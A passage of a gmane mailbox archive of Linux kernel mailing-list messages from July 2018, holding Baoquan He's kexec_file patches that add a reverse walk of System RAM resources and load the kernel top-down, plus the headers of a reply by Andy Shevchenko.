Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id D48622097F544
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 17 Jul 2018 19:52:57 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 7FE9A77885;
 Wed, 18 Jul 2018 02:52:56 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id AD1562026D68;
 Wed, 18 Jul 2018 02:52:36 +0000 (UTC)
In-Reply-To: <20180718024944.577-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.1]); Wed, 18 Jul 2018 02:52:56 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.1]);
 Wed, 18 Jul 2018 02:52:56 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11032 gmane.linux.kernel:2823307 gmane.linux.drivers.devicetree:279917 gmane.linux.kernel.pci:74056 gmane.linux.kernel.input:62018 gmane.linux.ports.parisc:28792 gmane.linux.ports.ppc64.devel:160138
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11032>

VGhpcyBmdW5jdGlvbiwgYmVpbmcgYSB2YXJpYW50IG9mIHdhbGtfc3lzdGVtX3JhbV9yZXMoKSBp
bnRyb2R1Y2VkIGluCmNvbW1pdCA4Yzg2ZTcwYWNlYWQgKCJyZXNvdXJjZTogcHJvdmlkZSBuZXcg
ZnVuY3Rpb25zIHRvIHdhbGsgdGhyb3VnaApyZXNvdXJjZXMiKSwgd2Fsa3MgdGhyb3VnaCBhIGxp
c3Qgb2YgYWxsIHRoZSByZXNvdXJjZXMgb2YgU3lzdGVtIFJBTQppbiByZXZlcnNlZCBvcmRlciwg
aS5lLiwgZnJvbSBoaWdoZXIgdG8gbG93ZXIuCgpJdCB3aWxsIGJlIHVzZWQgaW4ga2V4ZWNfZmls
ZSBjb2RlLgoKU2lnbmVkLW9mZi1ieTogQmFvcXVhbiBIZSA8YmhlQHJlZGhhdC5jb20+CkNjOiBB
bmRyZXcgTW9ydG9uIDxha3BtQGxpbnV4LWZvdW5kYXRpb24ub3JnPgpDYzogVGhvbWFzIEdsZWl4
bmVyIDx0Z2x4QGxpbnV0cm9uaXguZGU+CkNjOiBCcmlqZXNoIFNpbmdoIDxicmlqZXNoLnNpbmdo
QGFtZC5jb20+CkNjOiAiSsOpcsO0bWUgR2xpc3NlIiA8amdsaXNzZUByZWRoYXQuY29tPgpDYzog
Qm9yaXNsYXYgUGV0a292IDxicEBzdXNlLmRlPgpDYzogVG9tIExlbmRhY2t5IDx0aG9tYXMubGVu
ZGFja3lAYW1kLmNvbT4KQ2M6IFdlaSBZYW5nIDxyaWNoYXJkLndlaXlhbmdAZ21haWwuY29tPgot
LS0KIGluY2x1ZGUvbGludXgvaW9wb3J0LmggfCAgMyArKysKIGtlcm5lbC9yZXNvdXJjZS5jICAg
ICAgfCA0MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrCiAyIGZpbGVz
IGNoYW5nZWQsIDQzIGluc2VydGlvbnMoKykKCmRpZmYgLS1naXQgYS9pbmNsdWRlL2xpbnV4L2lv
cG9ydC5oIGIvaW5jbHVkZS9saW51eC9pb3BvcnQuaAppbmRleCBiNzQ1NmFlODg5ZGQuLjA2NmNj
MjYzZTJjYyAxMDA2NDQKLS0tIGEvaW5jbHVkZS9saW51eC9pb3BvcnQuaAorKysgYi9pbmNsdWRl
L2xpbnV4L2lvcG9ydC5oCkBAIC0yNzksNiArMjc5LDkgQEAgZXh0ZXJuIGludAogd2Fsa19zeXN0
ZW1fcmFtX3Jlcyh1NjQgc3RhcnQsIHU2NCBlbmQsIHZvaWQgKmFyZywKIAkJICAgIGludCAoKmZ1
bmMpKHN0cnVjdCByZXNvdXJjZSAqLCB2b2lkICopKTsKIGV4dGVybiBpbnQKK3dhbGtfc3lzdGVt
X3JhbV9yZXNfcmV2KHU2NCBzdGFydCwgdTY0IGVuZCwgdm9pZCAqYXJnLAorCQkJaW50ICgqZnVu
Yykoc3RydWN0IHJlc291cmNlICosIHZvaWQgKikpOworZXh0ZXJuIGludAogd2Fsa19pb21lbV9y
ZXNfZGVzYyh1bnNpZ25lZCBsb25nIGRlc2MsIHVuc2lnbmVkIGxvbmcgZmxhZ3MsIHU2NCBzdGFy
dCwgdTY0IGVuZCwKIAkJICAgIHZvaWQgKmFyZywgaW50ICgqZnVuYykoc3RydWN0IHJlc291cmNl
ICosIHZvaWQgKikpOwogCmRpZmYgLS1naXQgYS9rZXJuZWwvcmVzb3VyY2UuYyBiL2tlcm5lbC9y
ZXNvdXJjZS5jCmluZGV4IGM5NmU1OGQzZDJmOC4uM2UxOGYyNGI5MGM0IDEwMDY0NAotLS0gYS9r
ZXJuZWwvcmVzb3VyY2UuYworKysgYi9rZXJuZWwvcmVzb3VyY2UuYwpAQCAtMjMsNiArMjMsOCBA
QAogI2luY2x1ZGUgPGxpbnV4L3Bmbi5oPgogI2luY2x1ZGUgPGxpbnV4L21tLmg+CiAjaW5jbHVk
ZSA8bGludXgvcmVzb3VyY2VfZXh0Lmg+CisjaW5jbHVkZSA8bGludXgvc3RyaW5nLmg+CisjaW5j
bHVkZSA8bGludXgvdm1hbGxvYy5oPgogI2luY2x1ZGUgPGFzbS9pby5oPgogCiAKQEAgLTQ0Myw2
ICs0NDUsNDQgQEAgaW50IHdhbGtfc3lzdGVtX3JhbV9yZXModTY0IHN0YXJ0LCB1NjQgZW5kLCB2
b2lkICphcmcsCiB9CiAKIC8qCisgKiBUaGlzIGZ1bmN0aW9uLCBiZWluZyBhIHZhcmlhbnQgb2Yg
d2Fsa19zeXN0ZW1fcmFtX3JlcygpLCBjYWxscyB0aGUgQGZ1bmMKKyAqIGNhbGxiYWNrIGFnYWlu
c3QgYWxsIG1lbW9yeSByYW5nZXMgb2YgdHlwZSBTeXN0ZW0gUkFNIHdoaWNoIGFyZSBtYXJrZWQg
YXMKKyAqIElPUkVTT1VSQ0VfU1lTVEVNX1JBTSBhbmQgSU9SRVNPVUNFX0JVU1kgaW4gcmV2ZXJz
ZWQgb3JkZXIsIGkuZS4sIGZyb20KKyAqIGhpZ2hlciB0byBsb3dlci4KKyAqLworaW50IHdhbGtf
c3lzdGVtX3JhbV9yZXNfcmV2KHU2NCBzdGFydCwgdTY0IGVuZCwgdm9pZCAqYXJnLAorCQkJCWlu
dCAoKmZ1bmMpKHN0cnVjdCByZXNvdXJjZSAqLCB2b2lkICopKQoreworCXVuc2lnbmVkIGxvbmcg
ZmxhZ3M7CisJc3RydWN0IHJlc291cmNlICpyZXM7CisJaW50IHJldCA9IC0xOworCisJZmxhZ3Mg
PSBJT1JFU09VUkNFX1NZU1RFTV9SQU0gfCBJT1JFU09VUkNFX0JVU1k7CisKKwlyZWFkX2xvY2so
JnJlc291cmNlX2xvY2spOworCWxpc3RfZm9yX2VhY2hfZW50cnlfcmV2ZXJzZShyZXMsICZpb21l
bV9yZXNvdXJjZS5jaGlsZCwgc2libGluZykgeworCQlpZiAoc3RhcnQgPj0gZW5kKQorCQkJYnJl
YWs7CisJCWlmICgocmVzLT5mbGFncyAmIGZsYWdzKSAhPSBmbGFncykKKwkJCWNvbnRpbnVlOwor
CQlpZiAocmVzLT5kZXNjICE9IElPUkVTX0RFU0NfTk9ORSkKKwkJCWNvbnRpbnVlOworCQlpZiAo
cmVzLT5lbmQgPCBzdGFydCkKKwkJCWJyZWFrOworCisJCWlmICgocmVzLT5lbmQgPj0gc3RhcnQp
ICYmIChyZXMtPnN0YXJ0IDwgZW5kKSkgeworCQkJcmV0ID0gKCpmdW5jKShyZXMsIGFyZyk7CisJ
CQlpZiAocmV0KQorCQkJCWJyZWFrOworCQl9CisJCWVuZCA9IHJlcy0+c3RhcnQgLSAxOworCisJ
fQorCXJlYWRfdW5sb2NrKCZyZXNvdXJjZV9sb2NrKTsKKwlyZXR1cm4gcmV0OworfQorCisvKgog
ICogVGhpcyBmdW5jdGlvbiBjYWxscyB0aGUgQGZ1bmMgY2FsbGJhY2sgYWdhaW5zdCBhbGwgbWVt
b3J5IHJhbmdlcywgd2hpY2gKICAqIGFyZSByYW5nZXMgbWFya2VkIGFzIElPUkVTT1VSQ0VfTUVN
IGFuZCBJT1JFU09VQ0VfQlVTWS4KICAqLwotLSAKMi4xMy42CgpfX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fXwpMaW51eC1udmRpbW0gbWFpbGluZyBsaXN0Ckxp
bnV4LW52ZGltbUBsaXN0cy4wMS5vcmcKaHR0cHM6Ly9saXN0cy4wMS5vcmcvbWFpbG1hbi9saXN0
aW5mby9saW51eC1udmRpbW0K


From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Wed, 18 Jul 2018 10:49:44 +0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20180718024944.577-5-bhe@redhat.com>
References: <20180718024944.577-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531882277 27573 195.159.176.226 (18 Jul 2018 02:51:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jul 2018 02:51:17 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
 davem@davem
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 18 04:51:09 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1ffcYW-0006yp-L8
	for gln-linux-nvdimm@m.gmane.org; Wed, 18 Jul 2018 04:51:08 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 3B9EE2098C20A;
	Tue, 17 Jul 2018 19:53:19 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id F321C2097F544
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 17 Jul 2018 19:53:17 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 0EF2677886;
 Wed, 18 Jul 2018 02:53:17 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 467322026D68;
 Wed, 18 Jul 2018 02:52:56 +0000 (UTC)
In-Reply-To: <20180718024944.577-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.1]); Wed, 18 Jul 2018 02:53:17 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.1]);
 Wed, 18 Jul 2018 02:53:17 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11033 gmane.linux.kernel:2823308 gmane.linux.drivers.devicetree:279918 gmane.linux.kernel.pci:74057 gmane.linux.kernel.input:62019 gmane.linux.ports.parisc:28793 gmane.linux.kernel.kexec:21213 gmane.linux.ports.ppc64.devel:160139
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11033>

For kexec_file loading, if kexec_buf.top_down is 'true', the memory which
is used to load kernel/initrd/purgatory is supposed to be allocated from
top to down. This is what we have been doing all along in the old kexec
loading interface and the kexec loading is still default setting in some
distributions. However, the current kexec_file loading interface doesn't
do like this. The function arch_kexec_walk_mem() it calls ignores checking
kexec_buf.top_down, but calls walk_system_ram_res() directly to go through
all resources of System RAM from bottom to up, to try to find memory region
which can contain the specific kexec buffer, then call locate_mem_hole_callback()
to allocate memory in that found memory region from top to down. This brings
confusion especially when KASLR is widely supported , users have to make clear
why kexec/kdump kernel loading position is different between these two
interfaces in order to exclude unnecessary noises. Hence these two interfaces
need be unified on behaviour.

Here add checking if kexec_buf.top_down is 'true' in arch_kexec_walk_mem(),
if yes, call the newly added walk_system_ram_res_rev() to find memory region
from top to down to load kernel.

Signed-off-by: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Eric Biederman <ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org>
Cc: Vivek Goyal <vgoyal-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Cc: Yinghai Lu <yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Cc: kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
---
 kernel/kexec_file.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/kernel/kexec_file.c b/kernel/kexec_file.c
index c6a3b6851372..75226c1d08ce 100644
--- a/kernel/kexec_file.c
+++ b/kernel/kexec_file.c
@@ -518,6 +518,8 @@ int __weak arch_kexec_walk_mem(struct kexec_buf *kbuf,
 					   IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY,
 					   crashk_res.start, crashk_res.end,
 					   kbuf, func);
+	else if (kbuf->top_down)
+		return walk_system_ram_res_rev(0, ULONG_MAX, kbuf, func);
 	else
 		return walk_system_ram_res(0, ULONG_MAX, kbuf, func);
 }
-- 
2.13.6

From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andy.shevchenko@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.hardware.nvdimm,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Wed, 18 Jul 2018 19:36:17 +0300
Lines: 74
Approved: news@gmane.org
Message-ID: <CAHp75VdO88ydJQ9GHdaDUmAmzL6QHR=US6JiXZ1R_EEA-xWR1Q@mail.gmail.com>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-2-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531931661 10149 195.159.176.226 (18 Jul 2018 16:34:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jul 2018 16:34:21 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, brijesh.singh@amd.com,
 devicetree <devicetree@vger.kernel.org>, David Airlie <airlied@linux.ie>,
 linux-pci@vger.kernel.org, richard.weiyang@gmail.com,
 Keith Busch <keith.busch@intel.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, baiyaowei@cmss.chinamobile.com,
 Frank Rowand <frowand.list@gmail.com>, Dan Williams <dan.j.williams@intel.com>,
 Lorenzo Pieralisi <lorenzo.pieralisi@arm.com>,
 Stephen Hemminger <sthemmin@microsoft.com>, linux-nvdimm@lists.01.org,
 Michael Ellerman <mpe@ellerman.id.au>,
 Patrik Jakobsson <patrik.r.jakobsson@gmail.com>,
 linux-input <linux-input@vger.kernel.org>,
 Gustavo Padovan <gustavo@padovan.org>, Borislav Petkov <bp@suse.de>,
 Dave Young <dyoung@redhat.com>, Vivek Goyal <vgoyal@redhat.com>,
 Tom Lendacky <thomas.lendacky@amd.com>, Haiyang Zhang <haiyangz@microsoft.com>,
 Maarten
To: Baoquan He <bhe@redhat.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Wed Jul 18 18:34:12 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp2.osuosl.org ([140.211.166.133] helo=hemlock.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1ffpP2-0002R7-7a
	for glddd-devel@m.gmane.org; Wed, 18 Jul 2018 18:34:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id 8C318840D2;
	Wed, 18 Jul 2018 16:36:21 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id F5DbH32tlsPq; Wed, 18 Jul 2018 16:36:19 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id CFD4989AF9;
	Wed, 18 Jul 2018 16:36:19 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from fraxinus.osuosl.org (smtp4.osuosl.org [140.211.166.137])
 by ash.osuosl.org (Postfix) with ESMTP id 5DC901C0E76
 for <devel@linuxdriverproject.org>; Wed, 18 Jul 2018 16:36:19 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by fraxinus.osuosl.org (Postfix) with ESMTP id 5A3CF88D1B
 for <devel@linuxdriverproject.org>; Wed, 18 Jul 2018 16:36:19 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id V1B1GfkQC0eU for <devel@linuxdriverproject.org>;
 Wed, 18 Jul 2018 16:36:18 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-vk0-f68.google.com (mail-vk0-f68.google.com
 [209.85.213.68])
 by fraxinus.osuosl.org (Postfix) with ESMTPS id B379988D07
 for <devel@linuxdriverproject.org>; Wed, 18 Jul 2018 16:36:18 +0000 (UTC)
Original-Received: by mail-vk0-f68.google.com with SMTP id b78-v6so2824697vka.12
 for <devel@linuxdriverproject.org>; Wed, 18 Jul 2018 09:36:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=OzHPWUzuwplSmVQM2W97zozO/h6wa4LzWkTofhkvfjw=;
 b=ijp+NvjwjA/JAxaU8Ho5W865zog5EWux3qmHsiKCSpxNjQtBsJa+QwKMrbs3bXZyfO
 TdmzYfCxd7bFqnpHel7bUD/3A2fMjs8uzVWegjPpOJX42r0lAvbbS3pV2jMfdQIouAWO
 GcDuIbdj/FQ58jDM3nTxILwMX3VmGoY0LW4JMW70Jq/mO5Mvu4jdL1vnBGSjQKLDabII
 JuPach9IXD8MJljhsI0oo3ITZQLZHx3IZ5TKq0CDgBylPMCZqcg07RthkRJSAWOlI9Zd
 tlrl34r2r3ne2Q+CNZqvGsrJvKXNiWGK581oq0iqdU2JQXDCf5e8EUc1Y8VEoSS8JpRn
 i0ww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=OzHPWUzuwplSmVQM2W97zozO/h6wa4LzWkTofhkvfjw=;
 b=iG0vD2XuvUDG9RsOT2unIhvfUYl4au1lxComFY34EyYzpl1bn7VBPzPe3Li/5Wf3dz
 1s/soyPbTKjDMLhI41Nn2mA2KCBBN61n06EMBT1IVPAw+XmRNhF/JyvGB/SRRB3+AIvO
 UkOFJgZ8iHbKJCk/3WVR9vamlSCfO6lB/5zM2GJk4nEDyGR8H8KRyFWPMajhVYhUBhOz
 QQ6iGS8meNY7M2VNWXiclOPQtInd8hYVAJco3qQA9PPenuL9Klg6cndgwdkF7zwzFKnd
 WCQUAkcKYz3mIEq3cUB7MKTOgnTD61lJEzV8Ymy/AKCuQFhPxRuQ5nKhZWmFQsw4ldP4
 UuzQ==
X-Gm-Message-State: AOUpUlFqrt8qB9LFSJNq+gR33wzW9gNESB3ZMxGWMjZRXVtEJCIoujh1
 DYwlaYtdBGm+4tkOqVSTxB5bEGbmUV4jyMqNOtE=
X-Google-Smtp-Source: AAOMgpepHw0hcaGxljl5KmvvSIyPCMzOejbziv1k7sJO6ZBJ3+QhUihNPwpEgAnqpPHNUhpiZa75ZjruGIjAGE4/Byg=
X-Received: by 2002:a1f:820e:: with SMTP id
 e14-v6mr3799203vkd.187.1531931777634; 
 Wed, 18 Jul 2018 09:36:17 -0700 (PDT)
